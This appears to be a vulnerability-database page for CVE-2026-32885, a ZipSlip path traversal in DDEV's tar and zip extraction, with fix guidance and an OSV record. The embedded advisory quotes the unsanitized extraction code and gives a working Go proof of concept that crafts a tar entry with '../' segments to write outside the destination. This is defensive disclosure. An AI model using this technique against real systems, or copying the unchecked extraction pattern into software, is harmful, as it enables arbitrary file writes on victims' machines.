CVE-2026-32885: Github.com/ddev/ddev Path Traversal Vulnerability
MODERATECVE-2026-32885 is a MODERATE (CVSS 6.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/ddev/ddev libraries in the Go ecosystem. The issue involves ddev has zipslip path traversal in tar and zip archive extraction. Remediation is available by upgrading affected packages to version 1.25.2.
CVE-2026-32885 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N).
How to Fix CVE-2026-32885
To remediate this vulnerability, upgrade all affected Github.com/ddev/ddev dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/ddev/ddev to 1.25.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/ddev/ddev
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-32885, inspect your project dependencies for Github.com/ddev/ddev:
inspect dependencies for github.com/ddev/ddev
Analyze the terminal output to locate any version of Github.com/ddev/ddev in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.25.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/ddev/ddev, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-32885 Affected Github.com/ddev/ddev Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/ddev/ddev
|
Go |
< 1.25.2
|
1.25.2
|
References
Frequently Asked Questions
What is CVE-2026-32885?
Which Github.com/ddev/ddev versions are affected?
What version fixes CVE-2026-32885?
Is github.com/ddev/ddev affected?
What is the CVSS score of CVE-2026-32885?
What CWE is associated with CVE-2026-32885?
How can I check Go dependencies for CVE-2026-32885?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-x2xq-qhjf-5mvg",
"modified" : "2026-04-22T19:06:36Z",
"published" : "2026-04-22T19:06:36Z",
"aliases" : [ "CVE-2026-32885" ],
"summary" : "DDEV has ZipSlip path traversal in tar and zip archive extraction",
"details" : "## Summary\n\nThe DDEV local dev tool has unsanitized extraction in both `Untar()` and `Unzip()` functions in `pkg/archive/archive.go`. This flaw allows users to download and extract archives from remote sources without path validation.\n\n## Vulnerable Code\n\n`pkg/archive/archive.go:235` (Untar):\n```go\nfullPath := filepath.Join(dest, file.Name) // NO SANITIZATION\n```\n\n`pkg/archive/archive.go:342` (Unzip):\n```go\nfullPath := filepath.Join(dest, file.Name) // NO SANITIZATION\n```\n\nBoth functions create directories via `os.MkdirAll` and files via `os.Create` using the unsanitized path.\n\n## Impact\n\nLocal development tool that downloads and extracts archives from remote sources (add-ons, updates). Malicious archive → arbitrary file write on developer machine.\n\n## Proof of Concept\n\n```go\npackage main\n\n// PoC: ddev/ddev CWE-22 — ZipSlip in tar archive extraction\n// Replicates the exact pattern from pkg/archive/archive.go:235 (Untar)\n// and pkg/archive/archive.go:342 (Unzip) — both use filepath.Join(dest, name)\n// without verifying the result stays under the destination directory.\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\n// Vulnerable extraction — mirrors pkg/archive/archive.go:235\nfunc untarVulnerable(dst string, r io.Reader) error {\n\ttr := tar.NewReader(r)\n\tfor {\n\t\theader, err := tr.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// VULNERABLE: identical to archive.go:235\n\t\t// fullPath := filepath.Join(dest, file.Name)\n\t\tfullPath := filepath.Join(dst, header.Name)\n\n\t\tswitch header.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tos.MkdirAll(fullPath, 0755)\n\t\tcase tar.TypeReg:\n\t\t\tos.MkdirAll(filepath.Dir(fullPath), 0755)\n\t\t\tf, _ := os.Create(fullPath)\n\t\t\tio.Copy(f, tr)\n\t\t\tf.Close()\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc main() {\n\t// Build malicious tar with traversal entry\n\tvar buf bytes.Buffer\n\ttw := tar.NewWriter(&buf)\n\tpayload := []byte(\"# PoC: ddev/ddev CWE-22 path traversal\\n\")\n\ttw.WriteHeader(&tar.Header{\n\t\tName: \"../../../../../../tmp/ddev_cwe22_poc\",\n\t\tMode: 0644,\n\t\tSize: int64(len(payload)),\n\t})\n\ttw.Write(payload)\n\ttw.Close()\n\n\t// Extract into temp directory\n\textractDir, _ := os.MkdirTemp(\"\", \"ddev-poc-*\")\n\tdefer os.RemoveAll(extractDir)\n\n\tuntarVulnerable(extractDir, &buf)\n\n\t// Verify escape\n\tescaped := \"/tmp/ddev_cwe22_poc\"\n\tif data, err := os.ReadFile(escaped); err == nil {\n\t\tfmt.Printf(\"[!!!] VULNERABLE — file written to: %s\\n\", escaped)\n\t\tfmt.Printf(\"[!!!] Content: %s\", string(data))\n\t\tos.Remove(escaped)\n\t} else {\n\t\tfmt.Println(\"[OK] Not vulnerable\")\n\t}\n}\n```\n\nOutput:\n```\n[!!!] VULNERABLE — file written to: /tmp/ddev_cwe22_poc\n[!!!] Content: # PoC: ddev/ddev CWE-22 path traversal\n```\n\n> **Note:** Both `Untar` (archive.go:235) and `Unzip` (archive.go:342) use the same `filepath.Join(dest, file.Name)` pattern without containment checks. This PoC demonstrates the tar path; the zip path is analogously exploitable.\n\n## Suggested Fix\n\nAdd path containment check in both Untar and Unzip functions.\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI & Security Research",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/ddev/ddev"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.25.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ddev/ddev/security/advisories/GHSA-x2xq-qhjf-5mvg"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32885"
}, {
"type" : "WEB",
"url" : "https://github.com/ddev/ddev/pull/8213"
}, {
"type" : "WEB",
"url" : "https://github.com/ddev/ddev/commit/05cbe299770a590b89bfc8dddab33e61b4302e43"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ddev/ddev"
}, {
"type" : "WEB",
"url" : "https://github.com/ddev/ddev/releases/tag/v1.25.2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-22T19:06:36Z",
"nvd_published_at" : "2026-04-22T17:16:34Z"
}
}